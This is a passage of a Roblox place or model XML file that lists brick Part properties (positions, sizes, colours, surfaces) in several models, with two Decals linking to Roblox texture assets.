							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">3</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0</float>
						<Vector3 name="Velocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<bool name="archivable">true</bool>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>1</X>
							<Y>1.20000005</Y>
							<Z>2</Z>
						</Vector3>
					</Properties>
				</Item>
				<Item class="Part" referent="RBX799">
					<Properties>
						<bool name="Anchored">false</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">4</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">1003</int>
						<CoordinateFrame name="CFrame">
							<X>52</X>
							<Y>7</Y>
							<Z>59</Z>
							<R00>1</R00>
							<R01>0</R01>
							<R02>0</R02>
							<R10>0</R10>
							<R11>1</R11>
							<R12>0</R12>
							<R20>0</R20>
							<R21>0</R21>
							<R22>1</R22>
						</CoordinateFrame>
						<bool name="CanCollide">true</bool>
						<bool name="DraggingV1">false</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">1</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">Part</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">3</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0</float>
						<Vector3 name="Velocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<bool name="archivable">true</bool>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>2</X>
							<Y>6</Y>
							<Z>2</Z>
						</Vector3>
					</Properties>
				</Item>
				<Item class="Part" referent="RBX800">
					<Properties>
						<bool name="Anchored">false</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">4</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">37</int>
						<CoordinateFrame name="CFrame">
							<X>63</X>
							<Y>9.39999962</Y>
							<Z>59.5</Z>
							<R00>1</R00>
							<R01>0</R01>
							<R02>0</R02>
							<R10>0</R10>
							<R11>1</R11>
							<R12>0</R12>
							<R20>0</R20>
							<R21>0</R21>
							<R22>1</R22>
						</CoordinateFrame>
						<bool name="CanCollide">true</bool>
						<bool name="DraggingV1">false</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">1</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">Part</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">3</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0</float>
						<Vector3 name="Velocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<bool name="archivable">true</bool>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>4</X>
							<Y>3.60000014</Y>
							<Z>1</Z>
						</Vector3>
					</Properties>
					<Item class="Decal" referent="RBX801">
						<Properties>
							<token name="Face">2</token>
							<string name="Name">Decal</string>
							<float name="Shiny">20</float>
							<float name="Specular">0</float>
							<Content name="Texture"><url>http://www.roblox.com/asset/?id=15635516</url></Content>
							<bool name="archivable">true</bool>
						</Properties>
					</Item>
				</Item>
				<Item class="Part" referent="RBX802">
					<Properties>
						<bool name="Anchored">false</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">4</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">1003</int>
						<CoordinateFrame name="CFrame">
							<X>65.5</X>
							<Y>9.39999962</Y>
							<Z>59</Z>
							<R00>1</R00>
							<R01>0</R01>
							<R02>0</R02>
							<R10>0</R10>
							<R11>1</R11>
							<R12>0</R12>
							<R20>0</R20>
							<R21>0</R21>
							<R22>1</R22>
						</CoordinateFrame>
						<bool name="CanCollide">true</bool>
						<bool name="DraggingV1">false</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">1</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">Part</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">3</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0</float>
						<Vector3 name="Velocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<bool name="archivable">true</bool>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>1</X>
							<Y>3.60000014</Y>
							<Z>2</Z>
						</Vector3>
					</Properties>
				</Item>
				<Item class="Part" referent="RBX803">
					<Properties>
						<bool name="Anchored">false</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">4</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">1003</int>
						<CoordinateFrame name="CFrame">
							<X>63</X>
							<Y>9.39999962</Y>
							<Z>58.5</Z>
							<R00>1</R00>
							<R01>0</R01>
							<R02>0</R02>
							<R10>0</R10>
							<R11>1</R11>
							<R12>0</R12>
							<R20>0</R20>
							<R21>0</R21>
							<R22>1</R22>
						</CoordinateFrame>
						<bool name="CanCollide">true</bool>
						<bool name="DraggingV1">false</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">1</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">Part</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">3</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0</float>
						<Vector3 name="Velocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<bool name="archivable">true</bool>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>4</X>
							<Y>3.60000014</Y>
							<Z>1</Z>
						</Vector3>
					</Properties>
				</Item>
				<Item class="Part" referent="RBX804">
					<Properties>
						<bool name="Anchored">false</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">4</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">1003</int>
						<CoordinateFrame name="CFrame">
							<X>60.5</X>
							<Y>9.39999962</Y>
							<Z>59</Z>
							<R00>1</R00>
							<R01>0</R01>
							<R02>0</R02>
							<R10>0</R10>
							<R11>1</R11>
							<R12>0</R12>
							<R20>0</R20>
							<R21>0</R21>
							<R22>1</R22>
						</CoordinateFrame>
						<bool name="CanCollide">true</bool>
						<bool name="DraggingV1">false</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">1</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">Part</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">3</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0</float>
						<Vector3 name="Velocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<bool name="archivable">true</bool>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>1</X>
							<Y>3.60000014</Y>
							<Z>2</Z>
						</Vector3>
					</Properties>
				</Item>
				<Item class="Part" referent="RBX805">
					<Properties>
						<bool name="Anchored">false</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">4</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">1003</int>
						<CoordinateFrame name="CFrame">
							<X>63</X>
							<Y>11.7999992</Y>
							<Z>59</Z>
							<R00>1</R00>
							<R01>0</R01>
							<R02>0</R02>
							<R10>0</R10>
							<R11>1</R11>
							<R12>0</R12>
							<R20>0</R20>
							<R21>0</R21>
							<R22>1</R22>
						</CoordinateFrame>
						<bool name="CanCollide">true</bool>
						<bool name="DraggingV1">false</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">1</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">Part</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">3</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0</float>
						<Vector3 name="Velocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<bool name="archivable">true</bool>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>6</X>
							<Y>1.20000005</Y>
							<Z>2</Z>
						</Vector3>
					</Properties>
				</Item>
				<Item class="Part" referent="RBX806">
					<Properties>
						<bool name="Anchored">false</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">4</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">105</int>
						<CoordinateFrame name="CFrame">
							<X>71</X>
							<Y>2.20000005</Y>
							<Z>70</Z>
							<R00>1</R00>
							<R01>0</R01>
							<R02>0</R02>
							<R10>0</R10>
							<R11>1</R11>
							<R12>0</R12>
							<R20>0</R20>
							<R21>0</R21>
							<R22>1</R22>
						</CoordinateFrame>
						<bool name="CanCollide">true</bool>
						<bool name="DraggingV1">false</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">1</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">512</token>
						<string name="Name">Part</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">3</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0</float>
						<Vector3 name="Velocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<bool name="archivable">true</bool>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>4</X>
							<Y>3.60000014</Y>
							<Z>26</Z>
						</Vector3>
					</Properties>
				</Item>
			</Item>
			<Item class="Model" referent="RBX807">
				<Properties>
					<CoordinateFrame name="ModelInPrimary">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
						<R00>1</R00>
						<R01>0</R01>
						<R02>0</R02>
						<R10>0</R10>
						<R11>1</R11>
						<R12>0</R12>
						<R20>0</R20>
						<R21>0</R21>
						<R22>1</R22>
					</CoordinateFrame>
					<string name="Name">Model</string>
					<Ref name="PrimaryPart">null</Ref>
					<bool name="archivable">true</bool>
				</Properties>
				<Item class="Part" referent="RBX808">
					<Properties>
						<bool name="Anchored">false</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">4</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">1003</int>
						<CoordinateFrame name="CFrame">
							<X>47</X>
							<Y>4.60000038</Y>
							<Z>59</Z>
							<R00>1</R00>
							<R01>0</R01>
							<R02>0</R02>
							<R10>0</R10>
							<R11>1</R11>
							<R12>0</R12>
							<R20>0</R20>
							<R21>0</R21>
							<R22>1</R22>
						</CoordinateFrame>
						<bool name="CanCollide">true</bool>
						<bool name="DraggingV1">false</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">1</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">Part</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">3</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0</float>
						<Vector3 name="Velocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<bool name="archivable">true</bool>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>6</X>
							<Y>1.20000005</Y>
							<Z>2</Z>
						</Vector3>
					</Properties>
				</Item>
				<Item class="Part" referent="RBX809">
					<Properties>
						<bool name="Anchored">false</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">4</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">1003</int>
						<CoordinateFrame name="CFrame">
							<X>47</X>
							<Y>5.80000019</Y>
							<Z>59</Z>
							<R00>1</R00>
							<R01>0</R01>
							<R02>0</R02>
							<R10>0</R10>
							<R11>1</R11>
							<R12>0</R12>
							<R20>0</R20>
							<R21>0</R21>
							<R22>1</R22>
						</CoordinateFrame>
						<bool name="CanCollide">true</bool>
						<bool name="DraggingV1">false</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">1</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">Part</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">3</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0</float>
						<Vector3 name="Velocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<bool name="archivable">true</bool>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>2</X>
							<Y>1.20000005</Y>
							<Z>2</Z>
						</Vector3>
					</Properties>
				</Item>
				<Item class="Part" referent="RBX810">
					<Properties>
						<bool name="Anchored">false</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">4</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">1003</int>
						<CoordinateFrame name="CFrame">
							<X>47</X>
							<Y>7</Y>
							<Z>59</Z>
							<R00>1</R00>
							<R01>0</R01>
							<R02>0</R02>
							<R10>0</R10>
							<R11>1</R11>
							<R12>0</R12>
							<R20>0</R20>
							<R21>0</R21>
							<R22>1</R22>
						</CoordinateFrame>
						<bool name="CanCollide">true</bool>
						<bool name="DraggingV1">false</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">1</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">Part</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">3</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0</float>
						<Vector3 name="Velocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<bool name="archivable">true</bool>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>6</X>
							<Y>1.20000005</Y>
							<Z>2</Z>
						</Vector3>
					</Properties>
				</Item>
				<Item class="Part" referent="RBX811">
					<Properties>
						<bool name="Anchored">false</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">4</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">37</int>
						<CoordinateFrame name="CFrame">
							<X>47</X>
							<Y>9.39999962</Y>
							<Z>59.5</Z>
							<R00>1</R00>
							<R01>0</R01>
							<R02>0</R02>
							<R10>0</R10>
							<R11>1</R11>
							<R12>0</R12>
							<R20>0</R20>
							<R21>0</R21>
							<R22>1</R22>
						</CoordinateFrame>
						<bool name="CanCollide">true</bool>
						<bool name="DraggingV1">false</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">1</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">Part</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">3</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0</float>
						<Vector3 name="Velocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<bool name="archivable">true</bool>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>4</X>
							<Y>3.60000014</Y>
							<Z>1</Z>
						</Vector3>
					</Properties>
					<Item class="Decal" referent="RBX812">
						<Properties>
							<token name="Face">2</token>
							<string name="Name">Decal</string>
							<float name="Shiny">20</float>
							<float name="Specular">0</float>
							<Content name="Texture"><url>http://www.roblox.com/asset/?id=6448907</url></Content>
							<bool name="archivable">true</bool>
						</Properties>
					</Item>
				</Item>
				<Item class="Part" referent="RBX813">
					<Properties>
						<bool name="Anchored">false</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">4</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">1003</int>
						<CoordinateFrame name="CFrame">
							<X>49.5</X>
							<Y>9.39999962</Y>
							<Z>59</Z>
							<R00>1</R00>
							<R01>0</R01>
							<R02>0</R02>
							<R10>0</R10>
							<R11>1</R11>
							<R12>0</R12>
							<R20>0</R20>
							<R21>0</R21>
							<R22>1</R22>
						</CoordinateFrame>
						<bool name="CanCollide">true</bool>
						<bool name="DraggingV1">false</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">1</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">Part</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">3</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0</float>
						<Vector3 name="Velocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<bool name="archivable">true</bool>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>1</X>
							<Y>3.60000014</Y>
							<Z>2</Z>
						</Vector3>
					</Properties>
				</Item>
				<Item class="Part" referent="RBX814">
					<Properties>
						<bool name="Anchored">false</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">4</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">1003</int>
						<CoordinateFrame name="CFrame">
							<X>47</X>
							<Y>9.39999962</Y>
							<Z>58.5</Z>
							<R00>1</R00>
							<R01>0</R01>
							<R02>0</R02>
							<R10>0</R10>
							<R11>1</R11>
							<R12>0</R12>
							<R20>0</R20>
							<R21>0</R21>
							<R22>1</R22>
						</CoordinateFrame>
						<bool name="CanCollide">true</bool>
						<bool name="DraggingV1">false</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">1</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">Part</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">3</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0</float>
						<Vector3 name="Velocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<bool name="archivable">true</bool>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>4</X>
							<Y>3.60000014</Y>
							<Z>1</Z>
						</Vector3>
					</Properties>
				</Item>
				<Item class="Part" referent="RBX815">
					<Properties>
						<bool name="Anchored">false</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">4</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">1003</int>
						<CoordinateFrame name="CFrame">
							<X>47</X>
							<Y>11.7999992</Y>
							<Z>59</Z>
							<R00>1</R00>
							<R01>0</R01>
							<R02>0</R02>
							<R10>0</R10>
							<R11>1</R11>
							<R12>0</R12>
							<R20>0</R20>
							<R21>0</R21>
							<R22>1</R22>
						</CoordinateFrame>
						<bool name="CanCollide">true</bool>
						<bool name="DraggingV1">false</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">1</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
